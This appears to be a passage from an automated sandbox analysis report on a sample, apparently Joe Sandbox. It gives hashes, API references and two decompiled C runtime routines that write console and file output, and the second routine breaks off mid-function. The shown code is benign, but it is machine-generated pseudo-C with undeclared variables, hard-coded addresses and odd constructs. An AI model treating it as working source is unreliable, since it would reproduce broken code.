                                                          • API ID: ExceptionRaise___std_exception_copy
                                                          • String ID: `=@$`=@$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                                          • API String ID: 3109751735-2436082744
                                                          • Opcode ID: 2276f604c3605784d6e405f8d7a2a755b298f9d58d573019e86a6d79aba38d61
                                                          • Instruction ID: 5758688b685aa4187ad7d7f5b15dace94247948c6bb2fc7bee6470d4da2af1b6
                                                          • Opcode Fuzzy Hash: 2276f604c3605784d6e405f8d7a2a755b298f9d58d573019e86a6d79aba38d61
                                                          • Instruction Fuzzy Hash: FB11E4B16003045BC714DF59D802B96B3E8AF84310F10D53FFA55ABA81E778E854CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 84%
                                                          			E004207BB(void* __eflags, intOrPtr _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
                                                          				signed int _v8;
                                                          				char _v16;
                                                          				char _v23;
                                                          				char _v24;
                                                          				void _v32;
                                                          				signed int _v33;
                                                          				signed char _v40;
                                                          				signed int _v44;
                                                          				intOrPtr _v48;
                                                          				char _v51;
                                                          				void _v52;
                                                          				long _v56;
                                                          				char _v60;
                                                          				intOrPtr _v68;
                                                          				char _v72;
                                                          				struct _OVERLAPPED* _v76;
                                                          				signed char _v80;
                                                          				signed int _v84;
                                                          				signed int _v88;
                                                          				char _v92;
                                                          				intOrPtr _v96;
                                                          				long _v100;
                                                          				signed char* _v104;
                                                          				signed char* _v108;
                                                          				void* _v112;
                                                          				intOrPtr _v116;
                                                          				char _v120;
                                                          				int _v124;
                                                          				intOrPtr _v128;
                                                          				struct _OVERLAPPED* _v132;
                                                          				struct _OVERLAPPED* _v136;
                                                          				struct _OVERLAPPED* _v140;
                                                          				struct _OVERLAPPED* _v144;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t170;
                                                          				signed int _t172;
                                                          				int _t178;
                                                          				intOrPtr _t183;
                                                          				intOrPtr _t186;
                                                          				void* _t188;
                                                          				void* _t190;
                                                          				long _t193;
                                                          				void _t198;
                                                          				signed char* _t202;
                                                          				void* _t206;
                                                          				struct _OVERLAPPED* _t211;
                                                          				void* _t220;
                                                          				long _t224;
                                                          				intOrPtr _t225;
                                                          				char _t227;
                                                          				void* _t237;
                                                          				signed int _t242;
                                                          				intOrPtr _t245;
                                                          				signed int _t248;
                                                          				signed int _t249;
                                                          				signed int _t251;
                                                          				intOrPtr _t253;
                                                          				void* _t259;
                                                          				intOrPtr _t260;
                                                          				signed int _t261;
                                                          				signed char _t264;
                                                          				intOrPtr _t267;
                                                          				signed char* _t269;
                                                          				signed int _t272;
                                                          				signed int _t273;
                                                          				signed int _t277;
                                                          				signed int _t278;
                                                          				intOrPtr _t279;
                                                          				signed int _t280;
                                                          				struct _OVERLAPPED* _t282;
                                                          				struct _OVERLAPPED* _t284;
                                                          				signed int _t285;
                                                          				void* _t286;
                                                          				void* _t287;
                                                          
                                                          				_t170 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t170 ^ _t285;
                                                          				_t172 = _a8;
                                                          				_t264 = _t172 >> 6;
                                                          				_t242 = (_t172 & 0x0000003f) * 0x38;
                                                          				_t269 = _a12;
                                                          				_v108 = _t269;
                                                          				_v80 = _t264;
                                                          				_v112 =  *((intOrPtr*)(_t242 +  *((intOrPtr*)(0x4508e0 + _t264 * 4)) + 0x18));
                                                          				_v44 = _t242;
                                                          				_v96 = _a16 + _t269;
                                                          				_t178 = GetConsoleOutputCP();
                                                          				_t241 = 0;
                                                          				_v124 = _t178;
                                                          				E00413621( &_v72, _t264, 0);
                                                          				_t273 = 0;
                                                          				_v92 = 0;
                                                          				_v88 = 0;
                                                          				_v84 = 0;
                                                          				_t245 =  *((intOrPtr*)(_v68 + 8));
                                                          				_v128 = _t245;
                                                          				_v104 = _t269;
                                                          				if(_t269 >= _v96) {
                                                          					L48:
                                                          					__eflags = _v60 - _t241;
                                                          				} else {
                                                          					while(1) {
                                                          						_t248 = _v44;
                                                          						_v51 =  *_t269;
                                                          						_v76 = _t241;
                                                          						_v40 = 1;
                                                          						_t186 =  *((intOrPtr*)(0x4508e0 + _v80 * 4));
                                                          						_v48 = _t186;
                                                          						if(_t245 != 0xfde9) {
                                                          							goto L19;
                                                          						}
                                                          						_t211 = _t241;
                                                          						_t267 = _v48 + 0x2e + _t248;
                                                          						_v116 = _t267;
                                                          						while( *((intOrPtr*)(_t267 + _t211)) != _t241) {
                                                          							_t211 =  &(_t211->Internal);
                                                          							if(_t211 < 5) {
                                                          								continue;
                                                          							}
                                                          							break;
                                                          						}
                                                          						_t264 = _v96 - _t269;
                                                          						_v40 = _t211;
                                                          						if(_t211 <= 0) {
                                                          							_t72 = ( *_t269 & 0x000000ff) + 0x43d298; // 0x0
                                                          							_t253 =  *_t72 + 1;
                                                          							_v48 = _t253;
                                                          							__eflags = _t253 - _t264;
                                                          							if(_t253 > _t264) {
                                                          								__eflags = _t264;
                                                          								if(_t264 <= 0) {
                                                          									goto L40;
                                                          								} else {
                                                          									_t278 = _v44;
                                                          									do {
                                                          										 *((char*)( *((intOrPtr*)(0x4508e0 + _v80 * 4)) + _t278 + _t241 + 0x2e)) =  *((intOrPtr*)(_t241 + _t269));
                                                          										_t241 =  &(_t241->Internal);
                                                          										__eflags = _t241 - _t264;
                                                          									} while (_t241 < _t264);
                                                          									goto L39;
                                                          								}
                                                          							} else {
                                                          								_v144 = _t241;
                                                          								__eflags = _t253 - 4;
                                                          								_v140 = _t241;
                                                          								_v56 = _t269;
                                                          								_v40 = (_t253 == 4) + 1;
                                                          								_t220 = E0041FF30( &_v144,  &_v76,  &_v56, (_t253 == 4) + 1,  &_v144);
                                                          								_t287 = _t286 + 0x10;
                                                          								__eflags = _t220 - 0xffffffff;
                                                          								if(_t220 == 0xffffffff) {
                                                          									goto L48;
                                                          								} else {
                                                          									_t279 = _v48;
                                                          									goto L18;
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t224 =  *((char*)(( *(_t248 + _v48 + 0x2e) & 0x000000ff) + 0x43d298)) + 1;
                                                          							_v56 = _t224;
                                                          							_t225 = _t224 - _v40;
                                                          							_v48 = _t225;
                                                          							if(_t225 > _t264) {
                                                          								__eflags = _t264;
                                                          								if(_t264 > 0) {
                                                          									_t280 = _t248;
                                                          									do {
                                                          										_t227 =  *((intOrPtr*)(_t241 + _t269));
                                                          										_t259 =  *((intOrPtr*)(0x4508e0 + _v80 * 4)) + _t280 + _t241;
                                                          										_t241 =  &(_t241->Internal);
                                                          										 *((char*)(_t259 + _v40 + 0x2e)) = _t227;
                                                          										_t280 = _v44;
                                                          										__eflags = _t241 - _t264;
                                                          									} while (_t241 < _t264);
                                                          									L39:
                                                          									_t273 = _v88;
                                                          								}
                                                          								L40:
                                                          								_t277 = _t273 + _t264;
                                                          								__eflags = _t277;
                                                          								L41:
                                                          								__eflags = _v60;
                                                          								_v88 = _t277;
                                                          							} else {
                                                          								_t264 = _v40;
                                                          								_t282 = _t241;
                                                          								_t260 = _v116;
                                                          								do {
                                                          									 *((char*)(_t285 + _t282 - 0xc)) =  *((intOrPtr*)(_t260 + _t282));
                                                          									_t282 =  &(_t282->Internal);
                                                          								} while (_t282 < _t264);
                                                          								_t283 = _v48;
                                                          								_t261 = _v44;
                                                          								if(_v48 > 0) {
                                                          									E004104C0( &_v16 + _t264, _t269, _t283);
                                                          									_t261 = _v44;
                                                          									_t286 = _t286 + 0xc;
                                                          									_t264 = _v40;
                                                          								}
                                                          								_t272 = _v80;
                                                          								_t284 = _t241;
                                                          								do {
                                                          									 *( *((intOrPtr*)(0x4508e0 + _t272 * 4)) + _t261 + _t284 + 0x2e) = _t241;
                                                          									_t284 =  &(_t284->Internal);
                                                          								} while (_t284 < _t264);
                                                          								_t269 = _v104;
                                                          								_t279 = _v48;
                                                          								_v120 =  &_v16;
                                                          								_v136 = _t241;
                                                          								_v132 = _t241;
                                                          								_v40 = (_v56 == 4) + 1;
                                                          								_t237 = E0041FF30( &_v136,  &_v76,  &_v120, (_v56 == 4) + 1,  &_v136);
                                                          								_t287 = _t286 + 0x10;
                                                          								if(_t237 == 0xffffffff) {
                                                          									goto L48;
                                                          								} else {
                                                          									L18:
                                                          									_t269 = _t269 - 1 + _t279;
                                                          									L27:
                                                          									_t269 =  &(_t269[1]);
                                                          									_v104 = _t269;
                                                          									_t193 = E00420094(_v124, _t241,  &_v76, _v40,  &_v32, 5, _t241, _t241);
                                                          									_t286 = _t287 + 0x20;
                                                          									_v56 = _t193;
                                                          									if(_t193 == 0) {
                                                          										goto L48;
                                                          									} else {
                                                          										if(WriteFile(_v112,  &_v32, _t193,  &_v100, _t241) == 0) {
                                                          											L47:
                                                          											_v92 = GetLastError();
                                                          											goto L48;
                                                          										} else {
                                                          											_t273 = _v84 - _v108 + _t269;
                                                          											_v88 = _t273;
                                                          											if(_v100 < _v56) {
                                                          												goto L48;
                                                          											} else {
                                                          												if(_v51 != 0xa) {
                                                          													L34:
                                                          													if(_t269 >= _v96) {
                                                          														goto L48;
                                                          													} else {
                                                          														_t245 = _v128;
                                                          														continue;
                                                          													}
                                                          												} else {
                                                          													_t198 = 0xd;
                                                          													_v52 = _t198;
                                                          													if(WriteFile(_v112,  &_v52, 1,  &_v100, _t241) == 0) {
                                                          														goto L47;
                                                          													} else {
                                                          														if(_v100 < 1) {
                                                          															goto L48;
                                                          														} else {
                                                          															_v84 = _v84 + 1;
                                                          															_t273 = _t273 + 1;
                                                          															_v88 = _t273;
                                                          															goto L34;
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          						goto L49;
                                                          						L19:
                                                          						_t264 =  *((intOrPtr*)(_t248 + _t186 + 0x2d));
                                                          						__eflags = _t264 & 0x00000004;
                                                          						if((_t264 & 0x00000004) == 0) {
                                                          							_v33 =  *_t269;
                                                          							_t188 = E00418EB4(_t264);
                                                          							_t249 = _v33 & 0x000000ff;
                                                          							__eflags =  *((intOrPtr*)(_t188 + _t249 * 2)) - _t241;
                                                          							if( *((intOrPtr*)(_t188 + _t249 * 2)) >= _t241) {
                                                          								_push(1);
                                                          								_push(_t269);
                                                          								goto L26;
                                                          							} else {
                                                          								_t100 =  &(_t269[1]); // 0x1
                                                          								_t202 = _t100;
                                                          								_v56 = _t202;
                                                          								__eflags = _t202 - _v96;
                                                          								if(_t202 >= _v96) {
                                                          									_t264 = _v80;
                                                          									_t251 = _v44;
                                                          									_t241 = _v33;
                                                          									 *((char*)(_t251 +  *((intOrPtr*)(0x4508e0 + _t264 * 4)) + 0x2e)) = _v33;
                                                          									 *(_t251 +  *((intOrPtr*)(0x4508e0 + _t264 * 4)) + 0x2d) =  *(_t251 +  *((intOrPtr*)(0x4508e0 + _t264 * 4)) + 0x2d) | 0x00000004;
                                                          									_t277 = _t273 + 1;
                                                          									goto L41;
                                                          								} else {
                                                          									_t206 = E0041EEBF( &_v76, _t269, 2);
                                                          									_t287 = _t286 + 0xc;
                                                          									__eflags = _t206 - 0xffffffff;
                                                          									if(_t206 == 0xffffffff) {
                                                          										goto L48;
                                                          									} else {
                                                          										_t269 = _v56;
                                                          										goto L27;
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t264 = _t264 & 0x000000fb;
                                                          							_v24 =  *((intOrPtr*)(_t248 + _t186 + 0x2e));
                                                          							_v23 =  *_t269;
                                                          							_push(2);
                                                          							 *(_t248 + _v48 + 0x2d) = _t264;
                                                          							_push( &_v24);
                                                          							L26:
                                                          							_push( &_v76);
                                                          							_t190 = E0041EEBF();
                                                          							_t287 = _t286 + 0xc;
                                                          							__eflags = _t190 - 0xffffffff;
                                                          							if(_t190 == 0xffffffff) {
                                                          								goto L48;
                                                          							} else {
                                                          								goto L27;
                                                          							}
                                                          						}
                                                          						goto L49;
                                                          					}
                                                          				}
                                                          				L49:
                                                          				if(__eflags != 0) {
                                                          					_t183 = _v72;
                                                          					_t165 = _t183 + 0x350;
                                                          					 *_t165 =  *(_t183 + 0x350) & 0xfffffffd;
                                                          					__eflags =  *_t165;
                                                          				}
                                                          				__eflags = _v8 ^ _t285;
                                                          				asm("movsd");
                                                          				asm("movsd");
                                                          				asm("movsd");
                                                          				return E0040EBBF(_a4, _t241, _v8 ^ _t285, _t264, _a4,  &_v92);
                                                          			}















































































                                                          0x004207c6
                                                          0x004207cd
                                                          0x004207d0
                                                          0x004207d8
                                                          0x004207db
                                                          0x004207e8
                                                          0x004207eb
                                                          0x004207ee
                                                          0x004207f5
                                                          0x004207fd
                                                          0x00420800
                                                          0x00420803
                                                          0x00420809
                                                          0x0042080b
                                                          0x00420812
                                                          0x0042081c
                                                          0x0042081e
                                                          0x00420821
                                                          0x00420824
                                                          0x00420827
                                                          0x0042082a
                                                          0x0042082d
                                                          0x00420833
                                                          0x00420b3e
                                                          0x00420b3e
                                                          0x00000000
                                                          0x00420839
                                                          0x00420841
                                                          0x00420844
                                                          0x0042084a
                                                          0x0042084d
                                                          0x00420854
                                                          0x0042085b
                                                          0x0042085e
                                                          0x00000000
                                                          0x00000000
                                                          0x00420867
                                                          0x0042086c
                                                          0x0042086e
                                                          0x00420871
                                                          0x00420876
                                                          0x0042087a
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042087a
                                                          0x0042087f
                                                          0x00420881
                                                          0x00420886
                                                          0x00420940
                                                          0x00420947
                                                          0x00420948
                                                          0x0042094b
                                                          0x0042094d
                                                          0x00420af1
                                                          0x00420af3
                                                          0x00000000
                                                          0x00420af5
                                                          0x00420af5
                                                          0x00420af8
                                                          0x00420b07
                                                          0x00420b0b
                                                          0x00420b0c
                                                          0x00420b0c
                                                          0x00000000
                                                          0x00420b10
                                                          0x00420953
                                                          0x00420955
                                                          0x0042095b
                                                          0x0042095e
                                                          0x0042096a
                                                          0x00420973
                                                          0x0042097e
                                                          0x00420983
                                                          0x00420986
                                                          0x00420989
                                                          0x00000000
                                                          0x0042098f
                                                          0x0042098f
                                                          0x00000000
                                                          0x0042098f
                                                          0x00420989
                                                          0x0042088c
                                                          0x0042089b
                                                          0x0042089c
                                                          0x0042089f
                                                          0x004208a2
                                                          0x004208a7
                                                          0x00420abd
                                                          0x00420abf
                                                          0x00420ac1
                                                          0x00420ac3
                                                          0x00420acd
                                                          0x00420ad5
                                                          0x00420ad7
                                                          0x00420ad8
                                                          0x00420adc
                                                          0x00420adf
                                                          0x00420adf
                                                          0x00420ae3
                                                          0x00420ae3
                                                          0x00420ae3
                                                          0x00420ae6
                                                          0x00420ae6
                                                          0x00420ae6
                                                          0x00420ae8
                                                          0x00420ae8
                                                          0x00420aec
                                                          0x004208ad
                                                          0x004208ad
                                                          0x004208b0
                                                          0x004208b2
                                                          0x004208b5
                                                          0x004208b8
                                                          0x004208bc
                                                          0x004208bd
                                                          0x004208c1
                                                          0x004208c4
                                                          0x004208c9
                                                          0x004208d3
                                                          0x004208d8
                                                          0x004208db
                                                          0x004208de
                                                          0x004208de
                                                          0x004208e1
                                                          0x004208e4
                                                          0x004208e6
                                                          0x004208ef
                                                          0x004208f3
                                                          0x004208f4
                                                          0x004208f8
                                                          0x004208fe
                                                          0x00420907
                                                          0x00420914
                                                          0x0042091b
                                                          0x0042091f
                                                          0x0042092a
                                                          0x0042092f
                                                          0x00420935
                                                          0x00000000
                                                          0x0042093b
                                                          0x00420992
                                                          0x00420993
                                                          0x00420a16
                                                          0x00420a1d
                                                          0x00420a25
                                                          0x00420a2d
                                                          0x00420a32
                                                          0x00420a35
                                                          0x00420a3a
                                                          0x00000000
                                                          0x00420a40
                                                          0x00420a55
                                                          0x00420b35
                                                          0x00420b3b
                                                          0x00000000
                                                          0x00420a5b
                                                          0x00420a64
                                                          0x00420a66
                                                          0x00420a6c
                                                          0x00000000
                                                          0x00420a72
                                                          0x00420a76
                                                          0x00420aac
                                                          0x00420aaf
                                                          0x00000000
                                                          0x00420ab5
                                                          0x00420ab5
                                                          0x00000000
                                                          0x00420ab5
                                                          0x00420a78
                                                          0x00420a7a
                                                          0x00420a7c
                                                          0x00420a95
                                                          0x00000000
                                                          0x00420a9b
                                                          0x00420a9f
                                                          0x00000000
                                                          0x00420aa5
                                                          0x00420aa5
                                                          0x00420aa8
                                                          0x00420aa9
                                                          0x00000000
                                                          0x00420aa9
                                                          0x00420a9f
                                                          0x00420a95
                                                          0x00420a76
                                                          0x00420a6c
                                                          0x00420a55
                                                          0x00420a3a
                                                          0x00420935
                                                          0x004208a7
                                                          0x00000000
                                                          0x00420997
                                                          0x00420997
                                                          0x0042099b
                                                          0x0042099e
                                                          0x004209c0
                                                          0x004209c3
                                                          0x004209c8
                                                          0x004209cc
                                                          0x004209d0
                                                          0x004209fe
                                                          0x00420a00
                                                          0x00000000
                                                          0x004209d2
                                                          0x004209d2
                                                          0x004209d2
                                                          0x004209d5
                                                          0x004209d8
                                                          0x004209db
                                                          0x00420b12
                                                          0x00420b15
                                                          0x00420b18
                                                          0x00420b22
                                                          0x00420b2d
                                                          0x00420b32
                                                          0x00000000
                                                          0x004209e1
                                                          0x004209e8
                                                          0x004209ed
                                                          0x004209f0
                                                          0x004209f3
                                                          0x00000000
                                                          0x004209f9
                                                          0x004209f9
                                                          0x00000000
                                                          0x004209f9
                                                          0x004209f3
                                                          0x004209db
                                                          0x004209a0
                                                          0x004209a4
                                                          0x004209a7
                                                          0x004209ac
                                                          0x004209b2
                                                          0x004209b4
                                                          0x004209bb
                                                          0x00420a01
                                                          0x00420a04
                                                          0x00420a05
                                                          0x00420a0a
                                                          0x00420a0d
                                                          0x00420a10
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00420a10
                                                          0x00000000
                                                          0x0042099e
                                                          0x00420839
                                                          0x00420b41
                                                          0x00420b41
                                                          0x00420b43
                                                          0x00420b46
                                                          0x00420b46
                                                          0x00420b46
                                                          0x00420b46
                                                          0x00420b58
                                                          0x00420b5a
                                                          0x00420b5b
                                                          0x00420b5c
                                                          0x00420b66

                                                          APIs
                                                          • GetConsoleOutputCP.KERNEL32(00000000,00000000,?), ref: 00420803
                                                          • __fassign.LIBCMT ref: 004209E8
                                                          • __fassign.LIBCMT ref: 00420A05
                                                          • WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00420A4D
                                                          • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00420A8D
                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00420B35
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: FileWrite__fassign$ConsoleErrorLastOutput
                                                          • String ID:
                                                          • API String ID: 1735259414-0
                                                          • Opcode ID: 45f1c1bc1b9525421630f80e21f96edc239ce45b7ad5b4f0668f9778ebca938e
                                                          • Instruction ID: 5bda8817d63fbd95ec10d1615f909a3fa13ea14378ce0ba8d39ea156ef37e8f3
                                                          • Opcode Fuzzy Hash: 45f1c1bc1b9525421630f80e21f96edc239ce45b7ad5b4f0668f9778ebca938e
                                                          • Instruction Fuzzy Hash: 59C18E75E002688FCB14CFA9D9809EDFBF5AF18304F68416AE855B7342D635A942CF68
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 84%
                                                          			E1000C0D4(void* __eflags, intOrPtr _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
                                                          				signed int _v8;
                                                          				char _v16;
                                                          				char _v23;
                                                          				char _v24;
                                                          				void _v32;
                                                          				signed int _v33;
                                                          				signed char _v40;
                                                          				signed int _v44;
                                                          				intOrPtr _v48;
                                                          				char _v51;
                                                          				void _v52;
                                                          				long _v56;
                                                          				char _v60;
                                                          				intOrPtr _v68;
                                                          				char _v72;
                                                          				struct _OVERLAPPED* _v76;
                                                          				signed char _v80;
                                                          				signed int _v84;
                                                          				signed int _v88;
                                                          				char _v92;
                                                          				intOrPtr _v96;
                                                          				long _v100;
                                                          				signed char* _v104;
                                                          				signed char* _v108;
                                                          				void* _v112;
                                                          				intOrPtr _v116;
                                                          				char _v120;
                                                          				int _v124;
                                                          				intOrPtr _v128;
                                                          				struct _OVERLAPPED* _v132;
                                                          				struct _OVERLAPPED* _v136;
                                                          				struct _OVERLAPPED* _v140;
                                                          				struct _OVERLAPPED* _v144;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t170;
                                                          				signed int _t172;
                                                          				int _t178;
                                                          				intOrPtr _t183;
                                                          				intOrPtr _t186;
                                                          				void* _t188;
                                                          				void* _t190;
                                                          				long _t193;
                                                          				void _t198;
                                                          				signed char* _t202;
                                                          				void* _t206;
                                                          				struct _OVERLAPPED* _t211;
                                                          				void* _t220;
                                                          				long _t224;
                                                          				intOrPtr _t225;
                                                          				char _t227;
                                                          				void* _t237;
                                                          				signed int _t242;
                                                          				intOrPtr _t245;
                                                          				signed int _t248;
                                                          				signed int _t249;
                                                          				signed int _t251;
                                                          				intOrPtr _t253;
                                                          				void* _t259;
                                                          				intOrPtr _t260;
                                                          				signed int _t261;
                                                          				signed char _t264;
                                                          				intOrPtr _t267;
                                                          				signed char* _t269;
                                                          				signed int _t272;
                                                          				signed int _t273;
                                                          				signed int _t277;
                                                          				signed int _t278;
                                                          				intOrPtr _t279;
                                                          				signed int _t280;
                                                          				struct _OVERLAPPED* _t282;
                                                          				struct _OVERLAPPED* _t284;
                                                          				signed int _t285;
                                                          				void* _t286;
                                                          				void* _t287;
                                                          
                                                          				_t170 =  *0x10017004; // 0x615bd7ba
                                                          				_v8 = _t170 ^ _t285;
                                                          				_t172 = _a8;
                                                          				_t264 = _t172 >> 6;
                                                          				_t242 = (_t172 & 0x0000003f) * 0x38;
                                                          				_t269 = _a12;
                                                          				_v108 = _t269;
                                                          				_v80 = _t264;
                                                          				_v112 =  *((intOrPtr*)(_t242 +  *((intOrPtr*)(0x10018110 + _t264 * 4)) + 0x18));
                                                          				_v44 = _t242;
                                                          				_v96 = _a16 + _t269;
                                                          				_t178 = GetConsoleOutputCP();
                                                          				_t241 = 0;
                                                          				_v124 = _t178;
                                                          				E100065BE( &_v72, _t264, 0);
                                                          				_t273 = 0;
                                                          				_v92 = 0;
                                                          				_v88 = 0;
                                                          				_v84 = 0;
                                                          				_t245 =  *((intOrPtr*)(_v68 + 8));
                                                          				_v128 = _t245;
                                                          				_v104 = _t269;
                                                          				if(_t269 >= _v96) {
                                                          					L48:
                                                          					__eflags = _v60 - _t241;
                                                          				} else {
                                                          					while(1) {
                                                          						_t248 = _v44;
                                                          						_v51 =  *_t269;
                                                          						_v76 = _t241;
                                                          						_v40 = 1;
                                                          						_t186 =  *((intOrPtr*)(0x10018110 + _v80 * 4));
                                                          						_v48 = _t186;
                                                          						if(_t245 != 0xfde9) {
                                                          							goto L19;
                                                          						}
                                                          						_t211 = _t241;
                                                          						_t267 = _v48 + 0x2e + _t248;
                                                          						_v116 = _t267;
                                                          						while( *((intOrPtr*)(_t267 + _t211)) != _t241) {
                                                          							_t211 =  &(_t211->Internal);
                                                          							if(_t211 < 5) {
                                                          								continue;
                                                          							}
                                                          							break;
                                                          						}
                                                          						_t264 = _v96 - _t269;
                                                          						_v40 = _t211;
                                                          						if(_t211 <= 0) {
                                                          							_t72 = ( *_t269 & 0x000000ff) + 0x10017750; // 0x0
                                                          							_t253 =  *_t72 + 1;
                                                          							_v48 = _t253;
                                                          							__eflags = _t253 - _t264;
                                                          							if(_t253 > _t264) {
                                                          								__eflags = _t264;
                                                          								if(_t264 <= 0) {
                                                          									goto L40;
                                                          								} else {
                                                          									_t278 = _v44;
                                                          									do {
                                                          										 *((char*)( *((intOrPtr*)(0x10018110 + _v80 * 4)) + _t278 + _t241 + 0x2e)) =  *((intOrPtr*)(_t241 + _t269));
                                                          										_t241 =  &(_t241->Internal);
                                                          										__eflags = _t241 - _t264;
                                                          									} while (_t241 < _t264);
                                                          									goto L39;
                                                          								}
                                                          							} else {
                                                          								_v144 = _t241;
                                                          								__eflags = _t253 - 4;
                                                          								_v140 = _t241;
                                                          								_v56 = _t269;
                                                          								_v40 = (_t253 == 4) + 1;
                                                          								_t220 = E1000B82D( &_v144,  &_v76,  &_v56, (_t253 == 4) + 1,  &_v144);
                                                          								_t287 = _t286 + 0x10;
                                                          								__eflags = _t220 - 0xffffffff;
                                                          								if(_t220 == 0xffffffff) {
                                                          									goto L48;
                                                          								} else {
                                                          									_t279 = _v48;
                                                          									goto L18;
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t224 =  *((char*)(( *(_t248 + _v48 + 0x2e) & 0x000000ff) + 0x10017750)) + 1;
                                                          							_v56 = _t224;
                                                          							_t225 = _t224 - _v40;
                                                          							_v48 = _t225;
                                                          							if(_t225 > _t264) {
                                                          								__eflags = _t264;
                                                          								if(_t264 > 0) {
                                                          									_t280 = _t248;
                                                          									do {
                                                          										_t227 =  *((intOrPtr*)(_t241 + _t269));
                                                          										_t259 =  *((intOrPtr*)(0x10018110 + _v80 * 4)) + _t280 + _t241;
                                                          										_t241 =  &(_t241->Internal);
                                                          										 *((char*)(_t259 + _v40 + 0x2e)) = _t227;
                                                          										_t280 = _v44;
                                                          										__eflags = _t241 - _t264;
                                                          									} while (_t241 < _t264);
                                                          									L39:
                                                          									_t273 = _v88;
                                                          								}
                                                          								L40:
                                                          								_t277 = _t273 + _t264;
                                                          								__eflags = _t277;
                                                          								L41:
                                                          								__eflags = _v60;
                                                          								_v88 = _t277;
                                                          							} else {
                                                          								_t264 = _v40;
                                                          								_t282 = _t241;
                                                          								_t260 = _v116;
                                                          								do {
                                                          									 *((char*)(_t285 + _t282 - 0xc)) =  *((intOrPtr*)(_t260 + _t282));
                                                          									_t282 =  &(_t282->Internal);
                                                          								} while (_t282 < _t264);
                                                          								_t283 = _v48;
                                                          								_t261 = _v44;
                                                          								if(_v48 > 0) {
                                                          									E10005BC0( &_v16 + _t264, _t269, _t283);
                                                          									_t261 = _v44;
                                                          									_t286 = _t286 + 0xc;
                                                          									_t264 = _v40;
                                                          								}
                                                          								_t272 = _v80;
                                                          								_t284 = _t241;
                                                          								do {
                                                          									 *( *((intOrPtr*)(0x10018110 + _t272 * 4)) + _t261 + _t284 + 0x2e) = _t241;
                                                          									_t284 =  &(_t284->Internal);
                                                          								} while (_t284 < _t264);
                                                          								_t269 = _v104;
                                                          								_t279 = _v48;
                                                          								_v120 =  &_v16;
                                                          								_v136 = _t241;
                                                          								_v132 = _t241;
                                                          								_v40 = (_v56 == 4) + 1;
                                                          								_t237 = E1000B82D( &_v136,  &_v76,  &_v120, (_v56 == 4) + 1,  &_v136);
                                                          								_t287 = _t286 + 0x10;
                                                          								if(_t237 == 0xffffffff) {
                                                          									goto L48;
                                                          								} else {
                                                          									L18:
                                                          									_t269 = _t269 - 1 + _t279;
                                                          									L27:
                                                          									_t269 =  &(_t269[1]);
                                                          									_v104 = _t269;
                                                          									_t193 = E1000A4B8(_v124, _t241,  &_v76, _v40,  &_v32, 5, _t241, _t241);
                                                          									_t286 = _t287 + 0x20;
                                                          									_v56 = _t193;
                                                          									if(_t193 == 0) {
                                                          										goto L48;
                                                          									} else {
                                                          										if(WriteFile(_v112,  &_v32, _t193,  &_v100, _t241) == 0) {
                                                          											L47:
                                                          											_v92 = GetLastError();
                                                          											goto L48;
                                                          										} else {
                                                          											_t273 = _v84 - _v108 + _t269;
                                                          											_v88 = _t273;
                                                          											if(_v100 < _v56) {
                                                          												goto L48;
                                                          											} else {
                                                          												if(_v51 != 0xa) {
                                                          													L34:
                                                          													if(_t269 >= _v96) {
                                                          														goto L48;
                                                          													} else {
                                                          														_t245 = _v128;
                                                          														continue;
                                                          													}
                                                          												} else {
                                                          													_t198 = 0xd;
                                                          													_v52 = _t198;
                                                          													if(WriteFile(_v112,  &_v52, 1,  &_v100, _t241) == 0) {
                                                          														goto L47;
                                                          													} else {
                                                          														if(_v100 < 1) {
                                                          															goto L48;
                                                          														} else {
                                                          															_v84 = _v84 + 1;
                                                          															_t273 = _t273 + 1;
                                                          															_v88 = _t273;
                                                          															goto L34;
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          						goto L49;
                                                          						L19:
                                                          						_t264 =  *((intOrPtr*)(_t248 + _t186 + 0x2d));
                                                          						__eflags = _t264 & 0x00000004;
                                                          						if((_t264 & 0x00000004) == 0) {
                                                          							_v33 =  *_t269;
                                                          							_t188 = E1000AE12(_t264);
                                                          							_t249 = _v33 & 0x000000ff;
                                                          							__eflags =  *((intOrPtr*)(_t188 + _t249 * 2)) - _t241;
                                                          							if( *((intOrPtr*)(_t188 + _t249 * 2)) >= _t241) {
                                                          								_push(1);
                                                          								_push(_t269);
                                                          								goto L26;
                                                          							} else {
                                                          								_t100 =  &(_t269[1]); // 0x1
                                                          								_t202 = _t100;
                                                          								_v56 = _t202;
                                                          								__eflags = _t202 - _v96;
                                                          								if(_t202 >= _v96) {
                                                          									_t264 = _v80;
                                                          									_t251 = _v44;
                                                          									_t241 = _v33;
                                                          									 *((char*)(_t251 +  *((intOrPtr*)(0x10018110 + _t264 * 4)) + 0x2e)) = _v33;
